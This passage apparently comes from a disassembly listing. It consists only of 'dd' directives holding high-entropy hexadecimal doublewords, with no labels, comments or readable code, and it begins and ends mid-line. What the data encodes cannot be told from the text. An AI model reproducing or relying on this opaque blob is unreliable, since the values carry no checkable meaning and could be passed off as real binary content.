0FE2F3D2Bh dd 175C901Dh, 48EC56Ah, 8116ED02h, 0E4417000h, 0FB0EFA18h dd 0C01725F6h, 0ED77BF11h, 0F3F50363h, 6FA990C6h, 0AB030FB0h dd 804C2938h, 456054FFh, 3EA3F0h, 0CE3227EDh, 50312FD9h dd 35CAF81Ch, 62B9AE00h, 60AD7Bh, 7EAFB741h, 8DCF253Fh dd 58A03207h, 7D808BB6h, 1389ADD6h, 2144F0h, 0FE9CE5C8h dd 38030133h, 0E856B8E1h, 8DF8001Ch, 729D092Ah, 3239DCB6h dd 31B9805Fh, 0D77C9B7Eh, 84ED0088h, 906EB2D1h, 9D28F13Eh dd 300C8C68h, 11F90648h, 0B21A0CBDh, 0B7E093F0h, 49056206h dd 21CE21h, 2EC04D7Ch, 0B501AC7Bh, 3466E0Eh, 0E90E20E3h dd 0FA615307h, 0FA2F0AD2h, 0FC9E26h, 0E1284ED1h, 0AE014A78h dd 0EA218310h, 5B7005C1h, 40623C55h, 0E3B9C680h, 98CA8766h dd 9AFC9B00h, 7686741Eh, 0EDA8004Bh, 66B78ABDh, 0AA07EFC3h dd 67E4BA07h, 0EA97C5A3h, 222C4027h, 1689F487h, 754D843h dd 90618DC4h, 881E5845h, 490FBC73h, 29093396h, 5A9F00E8h dd 0E9F154h, 0C26AE38Ah, 3F9FBD72h, 3800F491h, 0A605B5A3h dd 0F3DA0073h, 5BA59279h, 0F93F6BB7h, 0ADF200D2h, 0F0EC815Ah dd 1365072Fh, 82DEB3E3h, 0A9E0180Ah, 0E100091Ah, 67BB203Ah dd 40DC6E6h, 7CA329FFh, 0E7D49068h, 80E92041h, 80F5FC8h dd 0E81FA58Dh, 109237B9h, 0CE278718h, 0FF3FDBA0h, 0A83A3EF6h dd 3D0900CAh, 0E10644E7h, 0AFE200FDh, 7D63BE88h, 42049ADEh dd 8B36B96Bh, 2AE6E1B0h, 423C77ADh, 37A5013Eh, 0B91F5A08h dd 0C08ADAC4h, 0C6BB9D31h, 3E546263h, 2619AFB4h, 8DA05FC5h dd 0B6D020FDh, 0E75E14A5h, 0A3002807h, 9B49687Eh, 3B00B01Fh dd 316F05CBh, 2CEA83h, 7A3A947Ch, 0C45319E5h, 7EAC3D00h dd 7DD1F81Eh, 0E08E0BA2h, 1B870BF6h, 0B652C07Fh, 0B800E5C1h dd 390A8DC8h, 0BB0D51h, 0E257D245h, 1566BA7Ch, 776F2302h dd 0C10CFBEFh, 84F8B695h, 0BACF00A0h, 25ABE392h, 6E007BA4h dd 0C606DEAAh, 0A5D87Ah, 0AF5DF28Ah, 879F0F5h, 5843D20Eh dd 173760E3h, 2EA6A291h, 0A2872A0h, 29CAC7Eh, 24647582h dd 0A9257F40h, 76A1C100h, 2206467Dh, 1DA83FB0h, 4287E0Fh dd 8B4ADC0h, 0A75EB02h, 30B0A001h, 33D43DD2h, 9632AC52h dd 23B71F04h, 0DC0106BBh, 20019E5h, 5B4F718Ah, 336818FBh dd 0CE08E363h, 9DA32100h, 882F7C71h, 1100056h, 65D4F409h dd 74002966h, 0EB33DCE5h, 1396A3DBh, 723D203h, 70D5D6D0h dd 0AA675DB1h, 50C69330h, 2E47FFh, 51C8614Ch, 0D972F6B6h dd 157D3D00h, 6FE1F4E9h, 20416001h, 9105EE22h, 20949329h dd 307FE3C2h, 0CF19E25Eh, 4F96144h, 0FFFEA07Fh, 983EAE38h dd 0C0886E7h, 0B520C0E1h, 0DE9F63B9h, 1DC1FF02h, 808A2A45h dd 2F3BF692h, 0D8C0C37Ah, 8AB79564h, 491280A4h, 4FBBE925h dd 0B2DEE60Ch, 0C04A08A7h, 25B1EF21h, 0DB032BD8h, 919834D4h dd 0F4B9397h, 36A7BBB8h, 0E10E9494h, 11B3242Bh, 631CB823h dd 0C35AC16Dh, 800D44E4h, 0CEB9E9A9h, 75AA8C61h, 0DBB83BCAh dd 0CC7FD507h, 2FF2E16Fh, 0BCB0BD37h, 0E3A239FEh, 0C075C251h dd 1CD7678Ah, 98C37A30h, 0C124A93Fh, 36CAB200h, 1140560Bh dd 0EE9D00ADh, 9263A552h, 0DC060FE4h, 0E7DBAFBBh, 0DD4E10B0h dd 74B92227h, 280C49BCh, 4271C580h, 448CF35Bh, 0CC1788F9h dd 0F81DB671h, 9940E780h, 28DD4812h, 46E015BBh, 978E2CC9h dd 0E0BEFF0Ah, 1B7BB70h, 0BF4E4463h, 0EC96A974h, 6230B65Bh dd 7C51B0DBh, 8D6D00ADh, 0AB3E5637h, 0C00ED9Bh, 0D17962B1h dd 502A463Ah, 309FCC03h, 0D6797F5Bh, 0C3075CC4h, 43EC3704h dd 738CBA20h, 0AD6A267Eh, 0E56B00A0h, 0BBA84870h, 961F8D06h dd 0FE484249h, 0F93F34ADh, 23682E80h, 87720405h, 2AB8C1AAh dd 7A347096h, 2D665B09h, 0A6B80094h, 7CF36EFAh, 1431393Eh dd 20B08B3Bh, 7F225E29h, 96FC2480h, 1E2E801Ch, 2001AEBDh dd 0BCB13C13h, 0CB23042Fh, 20CC2E00h, 977527h, 0B939B3FCh dd 0BBBDDA7Fh, 0DC2A820Ch, 6E31DEh, 39FC7CCBh, 12811DBh dd 360141E6h, 4EFEB0B7h, 1460AD8Ch, 6A2D196Eh, 180290B3h dd 4C71088Bh, 0F6C4E35Bh, 7192A240h, 8900FA0Bh, 0DCE4047Fh dd 50DA2B10h, 18318425h dd 181C7BEFh, 63208ABAh, 5E5F072Dh, 0C1C8D18Fh, 269464D9h dd 254E13ECh, 31B70009h, 0F0104DECh, 0F60125B6h, 8E5B4E7Ch dd 608A0393h, 80F0605Ah, 250B3B85h, 0F20E6CBAh, 0BD03C99Bh dd 0B9127D80h, 90D116CFh, 47F3010Ch, 0C87A27ACh, 3A45E0F8h dd 3FD4214Dh, 9001F602h, 0C508CFA5h, 893F7ADh, 9FF043D5h dd 72B0210Dh, 5A00B603h, 323D242Fh, 6FFABE5Bh, 3B8660E1h dd 0FB0031DAh, 80A3096Ah, 0F9D8276h, 0E14210C9h, 0DCC42036h dd 580020E7h, 0F902EDC7h, 24777D55h, 1E682459h, 92A74769h dd 47FBB193h, 20A44531h, 165F092Ch, 0BE840151h, 0DDB10771h dd 97E5EAD9h, 0A23EC1Ch, 15A07189h, 0CF88EC93h, 7190A480h dd 0F751ECh, 4BA9B516h, 0DA4D9E81h, 0AC0EA624h, 0A112FE81h dd 0C8D6C396h, 505EE138h, 7D540D0h, 0A5DCC904h, 76A5CF5Dh dd 23F83BE5h, 6BD70048h, 3BC32C5Fh, 0FEB9A804h, 0F9456491h dd 0DAEC0434h, 47051ECEh, 9C0935E6h, 87B49045h, 15D83E50h dd 100094BCh, 0A00F9521h, 0BF002761h, 547D312Fh, 5CFF5CBBh dd 40693E6Fh, 42E3A885h, 68385970h, 5C36B700h, 0FB7C137Dh dd 0B8FC49EBh, 51CDC800h, 8B380F3Ah, 77F8CCD3h, 4707A4B9h dd 5C9F3B22h, 6FF799F0h, 0D4710095h, 0BAC2B393h, 8800C3CEh dd 0B094B40Ch, 1F20D04h, 2074AAFCh, 35F9F48Ah, 0FD40D258h dd 61500D3Ch, 6CF2FC30h, 740BD891h, 93C824B5h, 7638C60h dd 118EFF23h, 95A11709h, 0AC1000EAh, 0BD3CA458h, 0A8942800h dd 7D2BF183h, 1A651297h, 0B49C4861h, 89610AC7h, 0C18F7A5h dd 807A21DCh, 0F5E61721h, 2451F345h, 3C0C7A12h, 6F6C5A07h dd 0B44BE47h, 4ACC88DFh, 11F4768Ch, 8CE7A58Fh, 29C210Fh dd 981A210Eh, 0CC627627h, 18B91CC1h, 0C525085Dh, 0FB70EFBBh dd 14250F45h, 66C00765h, 0ED9601F5h, 2A923B40h, 0A47C44h dd 318BE0AAh, 0CE64AF58h, 705D5900h, 3EC6FFF4h, 483E98A5h dd 0C0500C07h, 0C60E8C0Dh, 285B4371h, 40F86417h, 5E71C987h dd 98C3958Bh, 2FA67100h, 0DF207FE6h, 604139FDh, 7EC1BC87h dd 813C8038h, 960AFC53h, 1C974DF6h, 992ADD81h, 62CCF851h dd 3DEB77A5h, 0B102EF9Eh, 53B50B6Eh, 63B6B484h, 0A58BB008h dd 0C0809907h, 0B22102E0h, 6EBCEE02h, 4131727Ch, 0F1802D84h dd 0BA58B8DEh, 3505426Fh, 0E762BB69h, 7D798C01h, 0FAE49FEAh dd 143258BFh, 80671384h, 0DE2B2204h, 0AC2620B1h, 4BA0828h dd 29116632h, 987AE0DDh, 0EEFD0B30h, 0E011BDD7h, 0A4A0C6DFh dd 21DA7524h, 3016CA00h, 0D937C1AAh, 0A3260A65h, 0A8906C7Ch dd 14CC4690h, 24E4638Fh, 70C490D6h, 63B8BA40h, 81058D50h dd 7340289Ch, 8835A001h, 0C201123Eh, 0F27432DAh, 0DC37304Ah dd 0CB00E9F2h, 496FE1F3h, 5CC87EE3h, 0A210F822h, 0C00B882Dh dd 5B5D71C4h, 91174B21h, 0CF8907CDh, 0EF500471h, 2DC1228h dd 0FB447CC6h, 0CC68F961h, 900E1D2h, 7FF2943Ch, 35DA08h dd 5FD834C8h, 16CD3BA6h, 0E920FF31h, 0C3F5D2DEh, 268A8430h dd 2474D693h, 4D7605F4h, 77F893DCh, 5B0C18AEh, 206F209Ch dd 8BC08B52h, 5084D303h, 8C90C424h, 8638B05h, 0D4CEB6FFh dd 6394A600h, 59847153h, 1FDB04Ch, 0FFA175ADh, 0C181F64Dh dd 5C0EDCFh, 23F4EC95h, 5FDD0384h, 7A5A22A9h, 867F7100h dd 6BC28DCFh, 41B84ED7h, 125D5AACh, 0A2C6008h, 0F804C8AAh dd 99898B7h, 0A5268AECh, 0ED704CDFh, 2B210503h, 5497C8FBh dd 3E83C88h, 9DE48Ch, 2DE0DC4Bh, 0F8941CBh, 545E5A39h dd 0FA09B8E4h, 9D3A9537h, 81F6913Ch, 7865A0Dh, 76E2874h dd 38DA89FFh, 952CE2Bh, 0FC9D8AC4h, 0B6850911h, 3874C03Ch dd 0F31DA8E0h, 24ACF25Fh, 0F5634B44h, 0BFA58EB0h, 990028A5h dd 6DCB210Fh, 462A18B7h, 58539838h, 70B48000h, 0A402DAF5h dd 0E124275Dh, 3403C029h, 0D87C1DFBh, 0FC00F398h, 0BAE129A8h dd 26CF97AAh, 8054235Ah, 0CD31B8E6h, 2202B55h, 8E5D0822h dd 540A7FFBh, 161FBC34h, 113D51F0h, 168CB6ECh, 933C0822h dd 8B254FC0h, 22BF46BBh, 0B7F1014Bh, 453B9225h, 3A024A4h dd 0BBECC941h, 0DD42136Dh, 0F5040962h, 0F7C4FC67h, 25398660h dd 0D5A7AD12h, 280881Fh, 3155CA75h, 19C3308Fh, 1CE7DDD0h dd 0F981850Bh, 0AFF48222h, 25D723D2h, 0DDCEB3BFh, 2EE2A000h dd 0BB95B44Ah, 0FE2C167Ch, 5B1401DEh, 8108C25Eh, 2A82A650h dd 0EC303FB4h, 4C070211h, 77356665h, 0D80A6078h, 200192F9h dd 8CB64B78h, 3857E115h, 0E7D200A0h, 9D60A134h, 58A203FBh dd 5DADC356h, 0C0887FC0h, 4903E490h, 5E254DA8h, 23D804D2h dd 0C604DFADh, 0D903106Ch, 2B8E7E3Fh, 0F625E318h, 12649088h dd 0E4D0C152h, 7D00D820h, 0ECFF1E6h, 73188196h, 1237711h dd 9CDB2DF2h, 0F34F1D61h, 0EABE8BB0h, 2F75CF1Ch, 0A9348C80h dd 67CA47h, 7399C1B3h, 0C0F85F9Bh, 8DD34D00h, 0EF3A0B4Eh dd 0CDC60786h, 0FEB15EA6h, 0C9EA6180h, 2FA0164h, 0E89EE316h dd 1633F0C7h, 0EB06B819h, 8C0C00B0h, 2563D2AAh, 0BCA0AC1Fh dd 3F00C971h, 251BBC2h, 1E4029ABh, 406328F2h, 0F8AECA67h dd 1500DE01h, 5717C998h, 0F5FF6Fh, 0D450ADC4h, 3AC7E1FCh dd 5FD31A00h, 100DA981h, 0ECFA8Dh, 0B847B764h, 68BD25DBh dd 80C6A43Eh, 2A96E521h, 0F4270Eh, 51D17554h, 17BE404h dd 3790C80Fh, 0D88780F9h, 0B25A60Dh, 0D94088E5h, 8C2F2F80h dd 76F2E364h, 92E9FE00h, 90EA260Dh, 60D6F22Ah, 6A9830A4h dd 68E4331Bh, 37495703h, 7CAD6F2Fh, 0FF2B0040h, 0B5348908h dd 1EC10C2h, 8FBF5200h, 0DCD11A65h, 0ECD50005h, 10A4F991h dd 6000D872h, 287B904Bh, 79EE2D0Eh, 45324FBAh, 738BBB4h dd 6920FCCCh, 0BE001070h, 0E5C9A58Ch, 2655BFB6h, 80386723h dd 0BBF6E399h, 7E015A47h, 0D02BF14Ah, 0B6C855BCh, 64710162h dd 94EEC5EAh, 0EE87CB5h, 0A03803DFh, 0DA148A41h, 0DEA6009Dh dd 35829A23h, 5603E910h, 68DD8154h, 0AC0AC04Eh, 0E6C600C5h dd 9AD32BF6h, 0D90013E7h, 7D1B3D61h, 12E526E1h, 4599D2h dd 7EB6746Bh, 3102EDA8h, 519FE3B4h, 378565Eh, 61274A17h dd 5AA68800h, 65B7042Ah, 3F83001Eh, 0A19408F9h, 31C19886h dd 4D2E0FFCh, 24243CF5h, 44A33FC4h, 0BE7B4F80h, 66A91F69h dd 0C8A0D609h, 708C10F3h, 0C672004Ch, 62AE4BFEh, 840AC55Bh dd 8179576Eh, 35129507h, 3B8E1C30h, 0FDE4009Fh, 54EEB1D3h dd 7F26F563h, 93DD001h, 0A0D26D4Bh, 861ED500h, 0DAC009Eh dd 11FD3A81h, 8D04C4DFh, 0AFA6174Fh, 43588C80h, 382DEE21h dd 9C1DC996h, 3673009Eh, 0FEE795FAh, 2BF89403h, 9D659E5h dd 0DF639FE9h, 2E1EFC78h, 619F1252h, 0F19EE200h, 92A5EECBh dd 782C6710h, 0A1ED2010h, 0EC18B172h, 0B5496EC2h, 36210052h dd 6BFDCB85h, 9504D3BBh, 3C8F9194h, 8D5840B8h, 52041848h dd 0BC74B453h, 62D6077Ch, 9D30E7B6h, 58FC7h, 0AA0134F3h dd 7B7548BEh, 0FC40B34Eh, 0F6851E66h, 79A16070h, 199D132Fh dd 0E40BD712h, 66344Fh, 95CCEDB1h, 398000A2h, 7665C923h dd 0B8004916h, 6128FF6Ch, 2A32B67Ch, 807EAEh, 19C1A78Ah dd 0E5118EEDh, 0F8955800h, 7EEED331h, 0D9030091h, 37479927h dd 0D0096D7h, 0EF8F01F7h, 21B62Eh, 0EE3ABB3Ch, 0B3797580h dd 9897901Fh, 0E61B6540h, 0CFFD1Ch, 0EAB4785Fh, 14F682CCh dd 0A6AB300h, 0C2164F8Bh dd 677C02F0h, 37290510h, 0AF923260h, 53BF1F00h, 6FECA6CFh dd 562D0076h, 0F3ED8DDCh, 0E424555Eh, 0A980CC91h, 0F9FC4754h dd 0DC43067Dh, 0EEEAEB41h, 5E882A2Fh, 2FDA002Dh, 4BA16115h dd 94FDB400h, 0D452EFF9h, 7E9E0F33h, 0ECA955ADh, 5E6D2681h dd 5463D465h, 0A40028E2h, 271A7C8Ch, 42F16C5h, 0CBA0665Ah dd 0B200D04Fh, 671FBEEFh, 0C08FD253h, 0B6240DBh, 0E2F1CADAh dd 23A80377h, 362CE139h, 85319698h, 0CF4F2200h, 0CDC1F904h dd 80C926EDh, 79130454h, 0F438D65Dh, 3317CE7Bh, 0A800FDDCh dd 2FA73AC6h, 0ADC014F5h, 0BC01FEAFh, 0A9549A59h, 981C3A07h dd 0DEB5A3C0h, 7F8BD751h, 61C9245h, 0EF87218Eh, 0E10E2930h dd 8027F775h, 2CC191A7h, 0C0039DCFh, 0EDD0AFC4h, 10C07758h dd 5513879Ch, 2D0A0E7Fh, 0A8617CBCh, 24BF40A2h, 600BAB40h dd 0A30A878Ch, 0F8316AE8h, 0D2C561h, 1E15B55h, 0F0D1CF4Bh dd 29D47803h, 0C9ECB62Ah, 0AC40357Ch, 7699669Ch, 0B0CCFD12h dd 8F08911Bh, 0F20CC8h, 0BEB79D30h, 9300C4F3h, 1F82F933h dd 0EA1DC42h, 40CF841h, 7B9A26C2h, 2995840h, 0FB95BC18h dd 627911h, 8ECFA8DEh, 9B65ED3Fh, 70025DFCh, 95A28469h dd 176AE06Dh, 0FF7100B5h, 35089DE6h, 157CB903h, 7A00D8B1h dd 0A112E1Eh, 12ECF2A9h, 28FE09h, 7BDF6983h, 7006BBD9h dd 0EFD64886h, 58F30010h, 0BD43167Ch, 80EDB020h, 0E2D30C29h dd 7528B2E9h, 63A3BF9h, 6724AF00h, 0D7369B37h, 0BEB0ED00h dd 265F3188h, 0E9180096h, 0B50777A4h, 9C0A17B7h, 0FDAEC81Eh dd 50D9F000h, 2413DC24h, 0B3C0A95h, 738838D6h, 87A301A0h dd 0C84BC063h, 0F700AB05h, 774862C3h, 39D5CBDh, 9ED582A8h dd 0F4007537h, 0F8942C8h, 771E97h, 0ACC929DAh, 9CAE8CA7h dd 0E084D509h, 453090A3h, 0B70C052Ah, 479C7CBh, 0D0E2DEF0h dd 73A819B0h, 18F7D61Dh, 0B86D3502h, 0C4C6C006h, 52AB3FB4h dd 0E4CB2580h, 87EFA68h, 65CF7100h, 0B90BC2A1h, 804D3F1Eh dd 0C78BD480h, 5F473E42h, 83DCFF12h, 21EE1CF4h, 803FE673h dd 9ADFFC5Eh, 385A38B0h, 0BB988D61h, 2B402973h, 0AF2158h dd 4B276695h, 0BA3722h, 0ED2FD151h, 30A7546Eh, 0BC00C49Ah dd 0FB056268h, 0EBE89Ah, 0AE8B91A8h, 0FE1D831Ch, 0ADD2C200h dd 526C338Ch, 0B5C739D1h, 0EDCAA28h, 2FF04E6Ah, 7CA3E100h dd 0DA123BA2h, 0C0A0A178h, 0D3E3ACEh, 7EA5273Fh, 3F4200C4h dd 3C58EA69h, 92743774h, 23E75214h, 5AA30010h, 1E3B4968h dd 8B5B00B0h, 8A715C18h, 5D3E7A3Ah, 6E10023h, 0EEF90E20h dd 69B14C3Eh, 0B80F744Dh, 6D2B7DA5h, 672D70C8h, 0EBF5FF0Ch dd 0F00131F6h, 72A32843h, 80E16050h, 0C6E67FBBh, 3C67B93Ah dd 63D50990h, 1048716Dh, 472035h, 2A025E45h, 0E22C5125h dd 348CC44Bh, 99410065h, 633E06D6h, 7E0045EBh, 0BE685FAFh dd 3CCD4347h, 0C080EFF2h, 0BB74EE1Eh, 0A00F4FB8h, 0AFB0D022h dd 48B16721h, 9896AED3h, 1DE6D1E4h, 9F13FEFDh, 89E080BAh dd 0FC4B2198h, 9BE64063h, 4F00EFABh, 334917Ah, 0D4284670h dd 17A04CA0h, 2100D7F9h, 2AD61840h, 0BDDB66h, 0B335486Dh dd 0B2B5275Ch, 0A7565F0Bh, 0B8F7015Dh, 843D3A2Ah, 97822F7Ch dd 5C45940Bh, 0E1604FC4h, 916E5ADh, 9481525Fh, 48394C7Fh dd 53E9223h, 0A7BBCC25h, 0F2C0B4F2h, 0BDA25B4h, 51FB5204h dd 7C0E7066h, 2F0D6FE2h, 489E9C78h, 0F74676h, 96F9485Ah dd 505BF4Ah, 20022B95h, 0E300FA3Ch, 0A5C8613Fh, 0CD2E18BEh dd 5D771823h, 0CBC1D7Ch, 1094674h, 82B736CFh, 5868DF0Fh dd 138C6028h, 0C3AB8F31h, 6C03B80Ch, 8B80A370h, 322FA935h dd 0D5640D6h, 6F2800D2h, 0DC23944Bh, 0CF00D7D8h, 2154C44Eh dd 0AF2491h, 7644B1C2h, 602E3181h, 2D100400h, 126FD7Ah dd 0E53F00F5h, 0DEA87D79h, 700D7C7h, 0F087B20Ch, 0FA3626FCh dd 973B091Ch, 3B80014Dh, 0B2E72CBDh, 0B6AF571Ch, 0FED809h dd 755D2A04h, 0E9FA004Bh, 4135559h, 0B3FA9AEBh, 92437B00h dd 402EF850h, 0A265005Fh, 15588A9Dh, 0A601460Ah, 0C74CB96Fh dd 64E85781h, 30B8FDh, 135074EDh, 4EC91DBBh, 25E11600h dd 0B2044B19h, 94BF00DAh, 3E23E301h, 4D00DF71h, 7BB19643h dd 7191A411h, 4FBC1C9Fh, 2062806Bh, 0D01CFFFAh, 0BFAE7800h dd 93DDE874h, 0C01B24CCh, 0B6900708h, 0FA0ED0F9h, 530F212Dh dd 43B89E46h, 0A13C56h, 29F82361h, 0B9DF0D68h, 60002F90h dd 0BB84C6D5h, 0EA967Eh, 0D682A481h, 7755E1Dh, 0F72CB900h dd 48065B54h, 28D760AAh, 72EF1EFEh, 45594407h, 0DCD797FDh dd 674C6D00h, 0C068006Fh, 27ED23A6h, 9B00BA64h, 0D66B5D03h dd 3C9D13E0h, 910C2441h, 0A450763Ch, 89FC1F00h, 755C59E8h dd 0F42A51A1h, 0FE6443F8h, 0B7D00F2Dh, 48C05157h, 725ECE59h dd 0BACA8103h, 0D8B8F62Fh, 42BE2Dh, 327C0D9Fh, 34307890h dd 0E18B1D00h, 966079A1h, 0DB4103FCh, 86F77392h, 0A801F4B0h dd 1820DEC1h, 95F81B30h, 0CEB81CEDh, 429C762h, 3CC1FEA3h dd 0E45474C7h, 0A0009640h, 9FAD245Ch, 12BEF7h, 885DFCD3h dd 0D09BD855h, 268C3D00h, 0F1258A58h, 0B26300F3h, 0C5EA7C24h dd 0AAEC275Bh, 21D0451Dh, 5A3AD580h, 5071FA52h, 0B0A87Eh dd 0E3CCED03h, 0A14268B9h, 0C40F101h, 0CA348269h, 0F2EAE8C3h dd 0AFA848D1h, 6555D904h, 344C8156h, 7753DC28h, 30EAC3Bh dd 0EB0FD7C0h, 2529A05Bh, 6A1600D2h, 339CC8E7h, 0D307503Eh dd 0EF0BF7BDh, 1C71F2A0h, 15900CDh, 0A661E911h, 0F803A8F3h dd 6E880735h, 0A96862BDh, 4420048Ch, 0A76B82h, 9F6FECEEh dd 27EF415Dh, 0FFF00490h, 4D372C00h, 182F86C1h, 5A7400F2h dd 9D153E47h, 0A500AAF3h, 0BCEC6195h, 0C5F8003h, 2FFF5806h dd 3604CC40h, 0B8637DC2h, 24BB0481h, 0CE9B260h, 0F5E40A49h dd 9B032329h, 645E7BE0h, 755FB0ECh, 2435F8A9h, 1D052D3h dd 0B19ECF79h, 2DC19EFEh, 8325F043h, 4920016Eh, 0A305907Fh dd 6910807Dh, 0BF18ED1Fh, 1298034Ch, 0F1D03ACBh, 9E88FE9Bh dd 541DE50Fh, 8656A726h, 0DEB64E01h, 0B1CC9133h, 7D83E27Eh dd 9DF400DFh, 6E75AD29h, 9A00E064h, 50EEA315h, 7B798490h dd 4C950EC8h, 47E7E3FFh, 11FD7670h, 866FB100h, 0A5738D7Fh dd 1990606Dh, 6B33D81Eh, 38CDEE1Ch, 0A41CF412h, 708B08C1h dd 108EF558h, 0ECE060BCh, 0A9CBA473h, 20FFD00h, 129B43D8h dd 72C9006Eh, 0D029BEE4h, 0DD79615Eh, 0E1000FF0h, 0CD454F74h dd 7FE0F9h, 0AC4DA70Dh, 0E861A1ABh, 4C6F8626h, 7287DC00h dd 0E43E55h, 7DB7730h, 50A1D3F4h, 86CE7A00h, 81E0BAE3h dd 9E6B016Dh, 27990FE8h, 2C518BA8h, 951F80CFh, 0EE801523h dd 9F6E00C0h, 701ABA66h, 7A006B53h, 573B5562h, 0CBD965h dd 2A8260CAh, 0B708050Eh, 17EE9200h, 41A384B0h, 8F1E025Ch dd 32AAF910h, 0D16BD661h, 7EF73499h, 79CA1B01h, 1C09A4D3h dd 872A70h, 8F99E698h, 0DABF1D75h, 25C40301h, 0F34BB611h dd 1CD84EF5h, 7C310019h, 2687D8F1h, 4A00ABE3h, 0BC3A8360h dd 30648CEh, 36EF5DDDh, 29C04BDAh, 49184FEDh, 829813F9h dd 0FA3C92AEh, 56AF096Eh, 0C08A6DA6h, 0E6053FE8h, 90CC7D77h dd 70A34834h, 18554701h, 0C8CF2DA5h, 85FF2880h, 0B4C01544h dd 0B6A3D11Ch, 0E6FB4BC0h, 1CB9A5h, 0D83747C2h, 950CAB79h dd 7E113C02h, 4074FB87h dd 1F086B1Ch, 9C36E682h, 966E707Ah, 7F0C0EEEh, 102DCFBEh dd 1C20015h, 4172AA22h, 0E6F4820Dh, 0E718B100h, 998FE892h dd 684F009Fh, 356C8359h, 7A609471h, 0AE6E1EE1h, 6ACB0051h dd 0FD0B24DEh, 300ECE4h, 32610799h, 2CF1730h, 0F26746E1h dd 0A8803AFEh, 4CE5C678h, 3C1180F9h, 0AE089CF3h, 7340010h dd 72338F62h, 2D00D15Eh, 943640ECh, 7CE79743h, 0B82500C2h dd 0A4D0D539h, 6300AB16h, 34FBCC21h, 16D9608h, 0A2E1C91h dd 0CCA7721Eh, 0A50EC932h, 0DEB2FBE3h, 0DD518A83h, 0AF47F8F6h dd 14433EC8h, 73196680h, 5764D3E5h, 9EADC00h, 8D443781h dd 6CDA3DDDh, 66C96B81h, 0FCE16A2Bh, 2814D4A9h, 0C08414D1h dd 0FDE792E2h, 7D9600B9h, 0AC715B61h, 760039E3h, 1B5818E0h dd 0BACB2A81h, 0CA520644h, 285AB934h, 0B30077B4h, 0C34144D3h dd 7B3100D8h, 816A2574h, 3D00EE0Ah, 0A879F049h, 3FF882h dd 0D5BAA1C8h, 92EDC41Ah, 6DBFB101h, 8CA03ECFh, 4F81B06Fh dd 11490700h, 0BF023B5Ch, 0E417BBCh, 0D42DA721h, 249FF6E0h dd 3500A01Bh, 0DCA4B240h, 3FF3B72h, 58EDD509h, 0C0EFD760h dd 0A57A28D3h, 0F5E15400h, 0B70311FBh, 36320068h, 44091878h dd 267E040Eh, 76E0B458h, 0B1DBF800h, 4BD0F43Bh, 0B87E1DB7h dd 82A5C05Ah, 0F2E88E47h, 19975600h, 9AD080A3h, 0B884E839h dd 734A038h, 3FE1DFAh, 9300B8B6h, 3DB1D4C4h, 27005078h dd 0D7A2EA8Eh, 0EE16D85Fh, 9F5C02C6h, 34E48174h, 56BCE840h dd 0EBEA1B07h, 0B5B0BEE7h, 24AADF66h, 8164F905h, 0F72DC77Ah dd 0C30B70D3h, 9118FB74h, 0C020DB99h, 210C4E3h, 612158ADh dd 0E00389D4h, 0C2009372h, 5992A78h, 23AA66h, 0A55D42Ch dd 0F76AE0BCh, 32D3E38h, 9DB142C0h, 0AC4800CDh, 9A5DF934h dd 0E2077E93h, 0BAEC76B6h, 0FAB474F0h, 7C410519h, 0C05931EEh dd 0E90F2F26h, 5BA19202h, 8058723Ah, 1505E794h, 39E815CDh dd 3E2E6C75h, 806834EBh, 310335BDh, 20FD0F00h, 678F854Eh dd 3F110547h, 0C090CD33h, 0FA76E347h, 250058EEh, 66F118AFh dd 7F2379h, 0C75ED94Ah, 0C012E38Dh, 1DC56300h, 0F582AB7Dh dd 0E4560080h, 0C878C360h, 0ECBA2CD5h, 24EFF900h, 0DA596245h dd 0B4A91D72h, 78F50CDBh, 6700EE20h, 47032A3Ah, 1D4B17h dd 0CB493C85h, 63303E79h, 2565D300h, 60FA7F45h, 4EFC0062h dd 0FDD82CA9h, 6B60E53Dh, 385B8F18h, 31A200C6h, 7B2AD978h dd 8B606EF7h, 64594468h, 77F4A05h, 70B51E64h, 14C5E190h dd 0ED65F971h, 0A8400308h, 73059E4Dh, 0BFBD0342h, 7B968D20h dd 7E416866h, 58CB46E8h, 62B405FDh, 7448D961h, 0AAEB83E0h dd 74D85924h, 21F6247h, 0C830FAFCh, 41393DFFh, 88A00EAEh dd 64C0C0DCh, 2BE032CCh, 5A9D50C2h, 18CD117Bh, 0B62405B0h dd 73DBB162h, 24C81954h, 0B500394Fh, 56B9E9C3h, 63CE8Bh dd 5EE79EE1h, 2F7FE4FCh, 6BFEA41Eh, 10D8900Ch, 0C73F00C3h dd 4DEDFC3Dh, 4F000EF0h, 0E2BCCF48h, 7F03A81Ah, 85313C4Ah dd 9B147580h, 0D394F53Eh, 1A36C01h, 3296E92Ah, 0C19C2081h dd 0BB0C4C1Dh, 0EB0F8730h, 0BA402D2Ah, 6DB4A0h, 6078502Fh dd 0A5B1521Dh, 0A38B2609h, 8EF0096h, 3572Eh, 7C118353h dd 0BB2515Eh, 0DB05187Dh, 24EE4E2Ch, 987048D6h, 0AC76001Eh dd 0CD1AEAE0h, 81001D62h, 34511406h, 1890DC41h, 58E432EDh dd 0C71CEFD3h, 35DE6271h, 0FF9153CFh, 8A554E01h, 0E0D87A33h dd 6998C00Bh, 671FF7EAh, 283939h, 3B848C41h, 0C0F1B42Ah dd 60F32E8h, 0F9C10DF0h, 95697F61h, 5C6B20h, 0B1131F2h dd 3909C82Dh, 0E72F9A00h, 732A590Dh, 3402E84h, 44951E6Ah dd 80DF01D9h, 5CE771EEh, 0F9120C00h, 0E0BD83EBh, 61BB0076h dd 393A1ADEh, 5718A965h, 6D08CD41h, 6020C0F9h, 188C1936h dd 0B8474400h, 759FE0C1h, 3C0C3066h, 3F863AE4h, 0A9066703h dd 0F8843B8Dh, 52F91C83h, 340134A5h, 353B9419h, 884F0CA8h dd 1A00CC82h, 3B136A40h, 6046B2B1h, 84CA715Eh, 3701AB02h dd 4530BBEBh, 39803E22h, 95A5CFF1h, 0EE302C31h, 3AF40893h dd 18E4F222h, 289C3C48h, 7D18C0C1h, 5090C287h, 4BAF00E1h dd 0D72C3CA2h, 7F00047Eh, 24C5F579h, 0F99B5A89h, 160193E4h dd 1ED9C2DDh, 38844CFFh, 15070F79h, 3151F39Ah, 0C9D19930h dd 509016D4h, 0A0630CFEh, 0C0085F9h, 0F69804EDh, 1DC00259h dd 30547DC5h, 0B2205B20h, 24231603h, 0F6DF592Dh, 0A98C6E08h dd 0E5B22940h, 5503BA08h, 126BD114h, 0FC9AD19Ch, 0F737D983h dd 5FA81CBEh, 826E9956h, 5CCE019h, 1C4BE91Fh, 0C30ECB69h dd 957199DDh, 0BAF9ABE8h, 